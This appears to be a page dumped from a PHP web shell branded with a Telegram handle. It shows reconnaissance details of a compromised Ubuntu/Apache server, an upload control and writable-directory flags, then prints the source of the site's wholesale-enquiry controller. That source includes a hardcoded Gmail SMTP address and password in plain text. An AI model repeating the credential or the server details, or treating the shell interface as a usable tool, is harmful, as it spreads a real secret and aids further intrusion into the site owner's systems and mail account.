https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/Wholesale.php
<?php defined('BASEPATH') or exit('No direct script access allowed');

class Wholesale extends Public_Controller
{
  public function __construct()
  {
    parent::__construct();
    $this->load->model('configuration_m');
  }

  public function index()
  {
    /*get countries*/
    $data['countries'] = $this->db
      ->select('*')
      ->from('countries')
      ->order_by('id_countries', 'ASC')
      ->get()
      ->result();

    //get SEO
    $this->data_header['browser_title'] = 'Wholesale - Kanva';
    $this->data_header['meta_description'] = 'Wholesale';
    $this->data_header['meta_keywords'] = 'Wholesale';

    $this->load->view('template/header', $this->data_header);
    $this->load->view('wholesale', $data);
    $this->load->view('template/footer', $this->data_footer);
  }

  public function send()
  {
    $data = [
      'first_name' => $this->input->post('first_name'),
      'last_name' => $this->input->post('last_name'),
      'email' => $this->input->post('email'),
      'telephone' => $this->input->post('telephone'),
      'name_of_store' => $this->input->post('name_of_store'),
      'website' => $this->input->post('website'),
      'address' => $this->input->post('address'),
      'city_state' => $this->input->post('city_state'),
      'post_code' => $this->input->post('post_code'),
      'country' => $this->input->post('country'),
      'type_store' => $this->input->post('type_of_store'),
      'instagram' => $this->input->post('instagram'),
      'facebook' => $this->input->post('facebook'),
      'other_socmed' => $this->input->post('other_socmed'),
      'products_interest' => $this->input->post('products_interest'),
      'say_hello' => $this->input->post('say_hello'),
    ];

    /*select country*/
    if ($data['country'] == 0) {
      $data['countries'] = 'Indonesia';
    } else {
      $data['countries'] = $this->db
        ->where('id_countries', $data['country'])
        ->select('country')
        ->from('countries')
        ->get()
        ->row();
    }

    /*select store type*/
    if ($data['type_store'] == 'brick_mortar') {
      $data['type_store1'] = 'Brick and Mortar';
    } elseif ($data['type_store'] == 'online_store') {
      $data['type_store1'] = 'Online Store';
    } elseif ($data['type_store'] == 'both_physical-online') {
      $data['type_store1'] = 'Both Physical and Online';
    } elseif ($data['type_store'] == 'distributor_enquiry') {
      $data['type_store1'] = 'Distributor Enquiry';
    }

    //get website logo
    $this->db
      ->select('logo')
      ->from('configuration')
      ->where('id_configuration', 1);
    $data['logo'] = $this->db->get()->row()->logo;

    $config['protocol'] = 'smtp';
    $config['smtp_host'] = 'ssl://smtp.gmail.com'; //change this
    $config['smtp_port'] = '465';
    $config['smtp_user'] = 'info@kanvakanva.com'; //change this
    $config['smtp_pass'] = 'Akunk4nva'; //change this
    $config['mailtype'] = 'html';
    $config['charset'] = 'iso-8859-1';
    $config['wordwrap'] = true;
    $config['newline'] = "\r\n"; //use double quotes to comply with RFC 822 standard

    $this->load->library('email');
    $this->email->initialize($config);

    $data['emails'] = $this->configuration_m->get_emails();
    $this->email->from('info@kanvakanva.com', $data['emails']->website_name);
    $this->email->to('info@kanvakanva.com', 'Wholesale');
    $this->email->subject('Wholesale Customers');
    $email = $this->load->view('email/wholesale', $data, true);
    $this->email->message($email);
    $email_sent_status = $this->email->send();

    // if(!$email_sent_status) {
    // 	echo $this->email->print_debugger();
    // }
    //----end send email
    /*$this->session->set_flashdata('wholesale_sended', 'Your Data Has Been Sended', TRUE);*/
    redirect('/page/wholesale-thank-you');
  }
}


https://t.me/RX1948 - 2025